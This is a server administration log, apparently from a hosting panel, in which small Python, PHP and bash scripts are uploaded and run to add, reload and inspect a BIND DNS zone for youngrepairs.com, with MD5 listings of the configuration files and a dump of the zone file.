MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:26:55: 

PUT: /tmp/pkp664139

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = 'cf381d1fff06090b5818429e32e6000e'
ZONE_NAME = 'youngrepairs.com'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-04-25 20:26:55: 

chmod 755 /tmp/pkp664139; /tmp/pkp664139; rm /tmp/pkp664139

2026-04-25 20:26:58: 


rndc: 'freeze' failed: not found
no matching zone 'youngrepairs.com' in any view
rndc: 'reload' failed: not found
no matching zone 'youngrepairs.com' in any view
rndc: 'thaw' failed: not found
no matching zone 'youngrepairs.com' in any view




STDERR:
rndc: 'freeze' failed: not found
no matching zone 'youngrepairs.com' in any view
rndc: 'reload' failed: not found
no matching zone 'youngrepairs.com' in any view
rndc: 'thaw' failed: not found
no matching zone 'youngrepairs.com' in any view


2026-04-25 20:26:58: 

PUT: /tmp/pkp348431

#!/bin/bash
rndc reload youngrepairs.com 2>&1


2026-04-25 20:26:58: 

chmod 755 /tmp/pkp348431; /tmp/pkp348431; rm /tmp/pkp348431

2026-04-25 20:26:58: 


rndc: 'reload' failed: not found
no matching zone 'youngrepairs.com' in any view


2026-04-25 20:26:58: Establishing a connection
2026-04-25 20:26:59: 

PUT: /tmp/pkp965946

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:26:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp965946; rm /tmp/pkp965946'

2026-04-25 20:26:59: 
2026-04-25 20:26:59: 

PUT: /tmp/pkp753089

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-25 20:26:59: 

chmod 755 /tmp/pkp753089; /tmp/pkp753089; rm /tmp/pkp753089

2026-04-25 20:26:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt	1176
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
youngrepairs.com          86400	 IN    SOA      	curitiba.ns.porkbun.com dns@cloudflare.com ( 2402625893 10000 2400  1800 )
@                         86400	 IN    NS       	curitiba.porkbun.com.
@                         86400	 IN    NS       	fortaleza.porkbun.com.
@                         86400	 IN    NS       	maceio.porkbun.com.
@                         86400	 IN    NS       	salvador.porkbun.com.
@                         600	 IN    A        	86.106.182.72
mail._domainkey           300	 IN    A        	"v=DKIM1;
mail._domainkey           300	 IN    A        	k=rsa;
mail._domainkey           300	 IN    A        	p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuqer/kw37D5Mul01eFE0kyXoTF3M4QnRB4215RJ7N97Mdcer49AD1YVEwuG+bxSnnU62u8ZotFd6vIKIdkUuNIMLmjgFix/Avv58IkgkiH1JlPa5YfyrCql6w75nn6f5uAGwQvzKb9dbX7sSFvji1Bu28hch+qXShd9ctzlw6+P7C14rN3wS9HOKUpHFPGiwkvC3albTQfWZkhKKFc7N8yOWpxhgvSmtx703boFZ/vAprmiHPWRHLhiVN2UN+l09vBV0aKXxSCAhXjoPfrb1nX8U8tBCNw0H2/o6zWBXs5ZzTgDDwSfHemjDX7tVuTv4Pi4cXccgQHbZce3QZDmicQIDAQAB"
www                       600	 IN    CNAME    	youngrepairs.com






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
